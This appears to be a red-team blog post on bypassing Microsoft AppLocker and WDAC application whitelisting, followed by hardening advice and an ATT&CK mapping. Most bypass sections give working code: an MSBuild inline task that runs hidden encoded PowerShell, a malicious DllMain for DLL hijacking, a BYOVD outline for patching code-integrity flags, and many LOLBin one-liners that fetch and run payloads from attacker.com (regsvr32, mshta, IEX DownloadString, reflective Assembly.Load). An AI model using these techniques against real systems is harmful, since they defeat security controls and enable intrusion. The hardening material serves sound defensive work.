Back to Blog
Red Teaming

Bypassing Application Whitelisting (AppLocker and WDAC)

OffSec Research Team
10 June 2026 • 09:00 AM16 min
Bypassing Application Whitelisting (AppLocker and WDAC)
TL;DR — AppLocker and Windows Defender Application Control (WDAC) are Microsoft's two application whitelisting frameworks. AppLocker enforces allow/deny rules for executables, scripts, installers, DLLs, and packaged apps using publisher, path, and hash conditions; WDAC operates at the kernel level via Code Integrity policies and is far more robust. Classic AppLocker bypasses exploit default writable trusted paths, LOLBins (MSBuild, InstallUtil, Regsvcs), the absence of DLL-rule enforcement, and .NET reflection. WDAC bypasses focus on policy misconfiguration, trusted binary proxy execution, and the audit-vs-enforce boundary. Effective hardening requires closing writable trusted paths, enforcing DLL rules, enabling HVCI, and deploying a deny-by-default WDAC supplemental policy alongside AppLocker.

Executive Summary

Application whitelisting remains one of the most effective preventive controls against arbitrary code execution. Restricting which binaries may run to an approved set fundamentally breaks the attacker's execution model — most initial access payloads, post-exploitation frameworks, and lateral movement tools are not on the approved list. Microsoft provides two layered enforcement frameworks: AppLocker, a Group Policy-based system introduced in Windows 7, and Windows Defender Application Control (WDAC), the successor kernel-mode Code Integrity framework introduced in Windows 10 that forms the bedrock of Windows security.

Despite their effectiveness, both frameworks have well-documented bypass classes that red teamers have exploited since their introduction. AppLocker's user-mode enforcement model and its permissive defaults for common tools have generated hundreds of published bypasses. WDAC is substantially stronger — it enforces at the kernel level, blocks tampered binaries even when run by administrators, and integrates with HVCI to make policy bypass prohibitively difficult — but misconfiguration, trusted binary abuse, and policy boundary issues still create exploitation vectors.

This post maps the architecture of both systems from first principles, provides working bypass implementations for each major technique, and closes with a hardening model that survives sophisticated adversary tradecraft.


AppLocker Architecture

Evolution from Software Restriction Policies

AppLocker is the successor to Software Restriction Policies (SRP), introduced in Windows XP. SRP operated on a simpler hash/path/certificate model enforced entirely in user space. AppLocker added granular rule scoping (by user or group), publisher-based rules tied to Authenticode signatures, and separate rule collections for different object types.

AppLocker is enforced by the Application Identity service (AppIDSvc). When a process attempts to execute a binary, the service evaluates the applicable rule collections and returns an allow or deny decision. Critically: this enforcement lives in user mode, meaning an attacker who can tamper with the service or its policy storage can subvert AppLocker directly.

Rule Collections

AppLocker organizes rules into five collections:

CollectionObject TypesDefault Rules
Executable.exe, .comAllow %WINDIR%\, Allow %PROGRAMFILES%\, Allow Admins
Script.ps1, .bat, .cmd, .vbs, .jsAllow %WINDIR%\, Allow %PROGRAMFILES%\
Windows Installer.msi, .msp, .mstAllow %WINDIR%\, Allow %PROGRAMFILES%\
DLL.dll, .ocxNot enabled by default
Packaged AppsAppX packagesAllow all signed

Rule Condition Types

Each rule uses one of three conditions:

Publisher (Authenticode). Matches on the signer certificate chain: publisher, product name, file name, and version. A publisher rule for Microsoft Corporation → Windows Script Host → wscript.exe allows any version of that specific binary signed by that specific certificate chain. Publisher rules are robust against binary modification (hash change) because they match the signing chain, not the content — but they break if the publisher certificate expires.

Path. Matches a filesystem path pattern with wildcard support. Path rules are the most common rule type and the most abused — any writable directory under a whitelisted path is an instant bypass.

Hash. Matches the SHA-256 hash of the file content. The most specific and most maintenance-intensive condition. Changes with every binary update.

diagram — rendering…
flowchart TD
    A[Process Requests Execution] --> B{AppIDSvc Running?}
    B -- No --> C[Allow — Service not active]
    B -- Yes --> D[Identify: Path / Hash / Publisher]
    D --> E{Rule Collection Match}
    E -- Explicit Deny --> F[Block — Access Denied]
    E -- Explicit Allow --> G[Allow Execution]
    E -- No Match --> H{Default Action}
    H -- Audit Mode --> I[Allow + Log Event 8003]
    H -- Enforce Mode --> J[Block + Log Event 8004]

AppLocker Bypass Techniques

1. Writable Paths Within Trusted Directories

The default AppLocker rules allow any binary under %WINDIR% and %PROGRAMFILES%. Several subdirectories within these trusted paths are writable by non-privileged users on default configurations:

powershell
# Commonly writable trusted paths (verify per environment)C:\Windows\Tasks\C:\Windows\Temp\C:\Windows\tracing\C:\Windows\Registration\CRMLog\C:\Windows\System32\FxsTmp\C:\Windows\System32\com\dmp\C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\C:\Windows\SysWOW64\Tasks\C:\Windows\SysWOW64\com\dmp\ # Test for writable directories with icaclsGet-ChildItem "C:\Windows\" -Recurse -Directory -ErrorAction SilentlyContinue |    ForEach-Object {        $acl = icacls $_.FullName 2>&1        if ($acl -match "BUILTIN\\Users.*(W|M|F)") {            $_.FullName        }    }

If a user can write to C:\Windows\Tasks\, they can copy any arbitrary executable there and AppLocker will allow it under the default path rule. This bypass is well-known and patched in hardened configurations via explicit deny rules or by removing write permissions from those directories.

2. LOLBins — Living off the Trusted Land

Microsoft's own signed binaries — already allowed by default publisher or path rules — can proxy arbitrary code execution:

powershell
# MSBuild: XML inline task executes arbitrary C## Place payload.xml in any accessible path$xmlPayload = @"<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">  <Target Name="Execute">    <ClassExample />  </Target>  <UsingTask TaskName="ClassExample"    TaskFactory="CodeTaskFactory"    AssemblyFile="C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">    <Task>      <Code Language="cs">        <![CDATA[          System.Diagnostics.Process p = new System.Diagnostics.Process();          p.StartInfo.FileName = "powershell.exe";          p.StartInfo.Arguments = "-nop -w hidden -e <base64-payload>";          p.Start();        ]]>      </Code>    </Task>  </UsingTask></Project>"@$xmlPayload | Out-File "C:\Windows\Tasks\payload.xml"# Execute via trusted MSBuild pathC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Tasks\payload.xml
powershell
# InstallUtil: Executes code in [RunInstaller] attribute# Compile InstallUtil-abusing assembly, then:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll # Regsvcs / Regasm: COM registration proxy executionC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe payload.dllC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe /U payload.dll # WScript / CScript: Execute arbitrary JS/VBSwscript.exe C:\Windows\Tasks\stager.jscscript.exe C:\Windows\Tasks\stager.vbs # Csc: C# compiler produces PE on the fly (requires script collection disabled)$cs = 'class P{static void Main(){System.Diagnostics.Process.Start("calc.exe");}}'$cs | Out-File x.csC:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:C:\Windows\Tasks\x.exe x.csC:\Windows\Tasks\x.exe # Regsvr32 Squiblydoo: Execute remote scriptletregsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll # Mshta: Execute HTA or inline VBScriptmshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run(""powershell -nop -c ...""")")

The LOLBAS project (lolbas-project.github.io) catalogs hundreds of binaries with execute/compile/download abuse potential.

3. DLL Rule Enforcement Absence

By default, AppLocker does not enforce rules on the DLL collection. This is because DLL evaluation happens at every LoadLibrary call, imposing significant performance overhead. The practical consequence: even if .exe execution is fully locked down, an attacker who can write a DLL and trick a trusted process into loading it faces no AppLocker restriction on that DLL.

c
/* * DLL Search Order Hijacking into a trusted process * * 1. Find an application in a trusted path that LoadLibrary's a non-existent DLL *    e.g., C:\Program Files\SomeLegitApp\legitapp.exe tries to load "version.dll" *    from its own directory before checking System32. * * 2. Place malicious version.dll in C:\Program Files\SomeLegitApp\ *    (requires write permission to that directory) * * 3. AppLocker allows the DLL (DLL rules disabled), code executes inside trusted process */ // Verify DLL collection rules are disabled// PowerShell:// (Get-AppLockerPolicy -Effective).RuleCollections | Where-Object { $_.RuleCollectionType -eq "Dll" }// If empty, DLL enforcement is not active. // Malicious version.dll proxy patternBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {    if (fdwReason == DLL_PROCESS_ATTACH) {        // Execute payload in context of trusted process        STARTUPINFOW si = { sizeof(si) };        PROCESS_INFORMATION pi;        CreateProcessW(NULL, L"powershell.exe -nop -w hidden -e <b64>",                       NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);    }    return TRUE;}

4. .NET Assembly Reflection and In-Memory Execution

.NET assemblies loaded via [System.Reflection.Assembly]::Load() with a byte array argument bypass AppLocker entirely — the assembly never touches disk as a file, so there is no path, hash, or publisher to evaluate:

powershell
# Load arbitrary .NET assembly from base64 blob — never written to disk# Download from C2 or embed directly$url = "http://attacker.com/payload.dll"$wc = New-Object System.Net.WebClient$bytes = $wc.DownloadData($url) $assembly = [System.Reflection.Assembly]::Load($bytes)$type = $assembly.GetType("Payload.Program")$method = $type.GetMethod("Main",    [System.Reflection.BindingFlags]"Static,Public")$method.Invoke($null, @(,[string[]]@("arg1")))

This technique is the basis of execute-assembly in Cobalt Strike — the C# payload is loaded directly into the Beacon process's .NET CLR without writing a PE to disk. AppLocker sees only the trusted beacon.exe process making .NET CLR calls. AMSI is the primary remaining detection channel for this technique.

5. PowerShell Constrained Language Mode Bypass

When AppLocker is enabled in Enforce mode, PowerShell 5.0+ automatically activates Constrained Language Mode (CLM), which blocks Add-Type, most .NET type access, and COM object creation. Bypass strategies:

powershell
# Check CLM status$ExecutionContext.SessionState.LanguageMode# Returns "ConstrainedLanguage" when AppLocker enforces PS scripts # Bypass 1: Downgrade to PowerShell 2.0 (no CLM — no AMSI either)powershell.exe -version 2 -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # Bypass 2: Use alternate PS host paths not covered by AppLocker rules# 32-bit PS host may have different AppLocker scopeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe # Bypass 3: Custom .NET runspace hosting# Compile a C# executable that creates its own PowerShell runspace# — bypasses CLM because CLM is applied by the PS host, not the .NET runtime# The compiled .exe runs code that AppLocker evaluates as C# binary, not PS script

WDAC Architecture

Kernel-Mode Code Integrity

WDAC operates through the Windows Code Integrity (CI) component in the kernel (ci.dll). Every image load — PE files mapped as executable — is validated against the active CI policy before execution is permitted. Unlike AppLocker:

  • Enforcement happens in the kernel; user-mode processes including administrators cannot bypass it without a kernel exploit or policy modification
  • WDAC blocks untrusted kernel drivers when combined with HVCI
  • WDAC policies are binary compiled files deployed via MDM, Group Policy, or OEM provisioning — not editable by normal administrative accounts
  • WDAC enforces for both kernel-mode (drivers) and user-mode (applications) code

Policy Types

Policy TypeScopeProtection Level
Base policyDefines allowed signers and hashesFoundational
Supplemental policyExtends a base policyAdditive
Block policy (Microsoft recommended)Explicit deny listDefensive
Audit mode policyLogs but does not blockTesting only

Microsoft ships a recommended block list that denies known vulnerable/abusable binaries including older versions of MSBuild, InstallUtil, WMIC, and hundreds of LOLBAS candidates.

diagram — rendering…
flowchart LR
    A[User Executes Binary] --> B[Windows Loader]
    B --> C[ci.dll in Kernel]
    C --> D{WDAC Policy Evaluation}
    D --> E[Check Authenticode\nSignature Chain]
    D --> F[Check File Hash]
    D --> G[Check Explicit\nDeny Rules]
    E & F & G --> H{Decision}
    H -- Allow --> I[Execution Permitted]
    H -- Deny --> J[Block + Event 3076/3077]
    H -- Audit Mode --> K[Allow + Log Only]

WDAC Bypass Techniques

1. Audit Mode Environments

WDAC deployed in Audit mode logs violations to the event log but does not block execution. Many organizations never transition from Audit to Enforce mode due to compatibility concerns:

powershell
# Enumerate active WDAC policies and their enforcement mode# Windows 10 1903+ stores active policy GUIDs in the registry$policyPath = "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy"Get-ItemProperty $policyPath # Check enforcement status via event log# Event 3076 = "would have been blocked" (Audit mode)# Event 3077 = "was blocked" (Enforce mode)Get-WinEvent -LogName "Microsoft-Windows-CodeIntegrity/Operational" |    Where-Object { $_.Id -in 3076, 3077 } |    Select-Object TimeCreated, Id, Message -First 20 # Read compiled policy binary from diskls "C:\Windows\System32\CodeIntegrity\CiPolicies\Active\"

An environment showing only 3076 events is in Audit mode — all WDAC "blocks" are informational, and arbitrary code execution is unrestricted.

2. Trusted Binary Proxy Execution

Unlike AppLocker, WDAC enforces at load time for executables. However, legitimately-signed Microsoft binaries with proxy-execute capability still pass code integrity checks. Binaries not yet on the recommended block list:

powershell
# Dotnet CLI: Can run arbitrary .NET applications from project filesdotnet run --project .\MaliciousProject\ # Mshta: Execute HTA or VBScriptmshta.exe http://attacker.com/payload.hta # Control Panel .cpl loadercontrol.exe payload.cpl # Compiled HTML help (.chm)hh.exe http://attacker.com/payload.chm # XwizardX: WDAC-unaware proxy on some buildsxwizard.exe RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} # WMIC on pre-block-list systemswmic.exe process GET /FORMAT:"http://attacker.com/payload.xsl" # PresentationHost.exe: XAML Browser Application (XBAP)PresentationHost.exe -launchApplication http://attacker.com/payload.xbap

WDAC with Microsoft's recommended block rules explicitly denies many of these. The attack surface shrinks dramatically with a current block list applied.

3. Policy File Replacement

WDAC policies are stored as compiled binary .p7b files. An attacker with TrustedInstaller or equivalent privileges can attempt to replace or remove these files — changes take effect after reboot:

powershell
# Active policies location (Windows 10 1903+)ls C:\Windows\System32\CodeIntegrity\CiPolicies\Active\ # Enumerate policy GUIDsGet-ChildItem HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy # Attempt policy replacement (requires TrustedInstaller or kernel primitives)# — On non-HVCI systems, SYSTEM can overwrite policy files and reboot# — On HVCI systems: CI policy evaluation in VTL1 (Secure World) is#   protected by the hypervisor; even kernel-level write is blocked # Verify HVCI status(Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).VirtualizationBasedSecurityStatus# 2 = Running (HVCI active), 1 = Enabled but not running, 0 = Disabled

This technique is largely theoretical in HVCI-enabled environments.

4. BYOVD to Disable Code Integrity

Before WDAC kernel-mode enforcement, or when kernel-mode enforcement is disabled, an attacker can load a signed-but-vulnerable driver and exploit it to disable code integrity:

c
/* * High-level BYOVD → CI disable flow * * 1. Load vulnerable signed driver (passes WDAC user-mode check if signer is trusted) *    Known examples: RTCore64.sys, WinIo.sys, iqvw64e.sys, aswVmm.sys * * 2. Exploit the driver's IOCTL to obtain arbitrary kernel read/write primitive * * 3. Locate ci.dll's g_CiEnabled or g_CiOptions in kernel memory *    — Use a kernel pool scanner or known offset from a pattern scan * * 4. Patch the value to disable CI enforcement: *    g_CiEnabled = 0      (Windows 7/8) *    g_CiOptions &= ~0x6  (Windows 10 — clear CI_OPT_ENABLED and CI_OPT_TESTSIGNING bits) */ // After patching, unsigned code runs; restore before driver unload to avoid blue screen// Important: HVCI moves CI state to VTL1 — kernel writes to g_CiOptions from VTL0// are silently discarded, making this bypass ineffective on HVCI systems.

The WDAC recommended block list now contains hundreds of vulnerable driver hashes to prevent BYOVD against CI.


Combined Detection Surface Analysis

diagram — rendering…
flowchart TD
    A[Attacker Payload] --> B{Execution Method}
    B --> C[Writable Trusted Path\n.exe copy]
    B --> D[LOLBin MSBuild\nInstallUtil etc]
    B --> E[.NET Reflection\nIn-Memory Assembly]
    B --> F[DLL Hijacking]
    B --> G[BYOVD CI Disable]

    C --> H{AppLocker Path Rule}
    D --> I{AppLocker Publisher Rule}
    E --> J{AMSI Scan\non CLR Load}
    F --> K{DLL Rules Enabled?}
    G --> L{HVCI Enabled?}

    H -- Writable subdir allowed --> M[ALLOWED by AppLocker]
    I -- MS-signed = allowed --> N[ALLOWED by AppLocker]
    J --> O[AMSI Scan Result]
    K -- No DLL Rules --> P[DLL Executes Freely]
    K -- DLL Rules On --> Q[DLL Evaluated by CI]
    L -- No HVCI --> R[CI Patched via Exploit]
    L -- HVCI Active --> S[VTL1 Protection Blocks Patch]
Bypass TechniqueDefeated by AppLocker?Defeated by WDAC Enforce?Defeated by HVCI?
Writable trusted path .exeNoYes (hash/signer mismatch)Yes
MSBuild inline taskNoPartially (block list needed)Partially
.NET reflection in-memoryNoNo (no PE load event)No
DLL hijackingNo (DLL rules disabled)Yes (kernel CI checks DLLs)Yes
BYOVD CI disableN/APartiallyYes (VTL1 protected)
PowerShell v2 downgradeYes (if PS2 blocked)Yes (if PS2 on block list)Yes
Constrained Language bypassPartiallyYesYes

Hardening Recommendations

AppLocker Hardening

Enable the DLL rule collection. Despite performance overhead, DLL rules are essential — without them, DLL hijacking into any trusted process bypasses AppLocker entirely. Test the performance impact in your environment; modern hardware handles it well.

Audit and restrict writable trusted paths. Run a quarterly audit of write permissions under %WINDIR% and %PROGRAMFILES%. Remove Users:(W) permissions from directories not legitimately writable. Add explicit AppLocker deny rules for directories that must remain writable for operational reasons.

Block PowerShell v2 explicitly. Add a deny rule for the PowerShell 2.0 executable and disable the Windows feature: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root.

Create deny rules for LOLBin abuse. Add parameter-level deny rules for the most commonly abused patterns: regsvr32.exe /i:http*, mshta.exe http*, wmic.exe /format:*http*, InstallUtil.exe /U*. These deny rules take priority over publisher-based allow rules.

Enforce mode, not Audit mode. AppLocker in Audit mode is not a control — it is monitoring. Transition to Enforce mode on a per-collection basis as rule sets mature.

WDAC Hardening

Deploy Microsoft's recommended block rules. Available from the Microsoft documentation as XML, these block hundreds of known-abused binaries. Compile and deploy as a supplemental policy to your base policy.

Enable kernel-mode code integrity enforcement. User-mode WDAC alone can be bypassed via a kernel exploit; kernel-mode enforcement prevents unsigned driver loading.

Enable HVCI. Hypervisor-Protected Code Integrity moves CI evaluation into VTL1, making runtime CI bypass via BYOVD impractical. HVCI is the highest-value hardening investment for WDAC. Verify via: (Get-CimInstance Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).VirtualizationBasedSecurityStatus.

Transition from Audit to Enforce mode systematically. Inventory all software, add unsigned or internally-signed applications to supplemental policies, then switch base policy to Enforce. Use the 3076 event log as your audit trail.

Monitor the CI event log. Events 3076 and 3077 in Microsoft-Windows-CodeIntegrity/Operational provide visibility into every blocked load attempt. Alert on 3077 events in production.


MITRE ATT&CK Mapping

TechniqueATT&CK ID
Trusted Developer Utilities Proxy ExecutionT1127
MSBuildT1127.001
Signed Binary Proxy ExecutionT1218
MshtaT1218.005
Regsvcs/RegasmT1218.009
InstallUtilT1218.004
DLL Side-LoadingT1574.002
DLL Search Order HijackingT1574.001
Subvert Trust Controls: WDAC Policy ModificationT1553.006
Bring Your Own Vulnerable DriverT1543.003
Reflective Code LoadingT1620

Conclusion

AppLocker and WDAC represent fundamentally different threat models implemented at different OS layers. AppLocker's user-mode enforcement model carries a rich bypass history precisely because enforcement depends on a user-space service operating before a process launches — any writable trusted path, any signed proxy binary, and any in-memory execution primitive circumvents its controls. WDAC's kernel-mode architecture with HVCI integration makes policy bypass dramatically harder: the remaining attack surface is policy misconfiguration, trusted binary abuse against an incomplete block list, and the gap between audit and enforce mode.

Comprehensive application whitelisting requires both frameworks in coordination: AppLocker for rapid policy deployment and GPO-based management across diverse application portfolios, WDAC with kernel-mode enforcement and HVCI for high-value workstations and servers where maximum resistance to arbitrary code execution is required. Neither alone is sufficient; together, with correct configuration, they form one of the strongest host-based preventive controls in the Windows security model.